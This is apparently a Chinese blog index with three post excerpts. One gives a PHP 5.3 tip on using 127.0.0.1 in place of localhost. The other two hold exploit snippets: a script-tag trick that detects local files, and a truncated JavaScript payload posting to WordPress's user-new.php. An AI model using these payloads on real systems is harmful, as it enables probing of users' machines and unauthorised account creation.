摘要:
目前我们配置数据库信息时都类似这样的“$dbhost=‘localhost’ ”;这本身是没有问题的,只是PHP 5.3会考虑是IPv4还是IPv6,面对localhost会犹豫,因此出现响应时间过长的情况。如果你查看过服务器处理PHP的时间,你会发现处理PHP的时间很短,等待处理前的时间很长。解决方法有三种:方法一:上面已经说到,这是因为PHP 5.3在面对数据库配置信息中的“localhost”会犹豫,因此直接把这个地址改名为“127.0.0.1”,这个IP是IPv4下面的本地网络地址,实际作用和“localhost”一样,不过能明确告诉PHP这是IPv4网络。方法二:IIS 7及IIS 阅读全文
posted @ 2013-04-21 18:03
江南xd
阅读(698)
评论(0)
推荐(0)
摘要:
漏洞证明:1 <script> window.onerror=function(){ alert('文件存在'); return true; } </script> <script src="file://c:/windows/system32/cmd.exe"></script> 阅读全文
posted @ 2013-04-19 15:45
江南xd
阅读(152)
评论(0)
推荐(0)
摘要:
View Code 1 try{ 2 var ajaxRequest = new ActiveXObject("Msxml2.XMLHTTP"); 3 }catch(e){ 4 var ajaxRequest = new XMLHttpRequest(); 5 } 6 ajaxRequest.open("POST", "/wp/wp-admin/user-new.php", true); 7 ajax2=ajaxRequest; 8 ajaxRequest.send(null); 9 ajaxRequest.onreadystatec 阅读全文
posted @ 2013-04-19 01:12
江南xd
阅读(301)
评论(0)
推荐(0)
浙公网安备 33010602011771号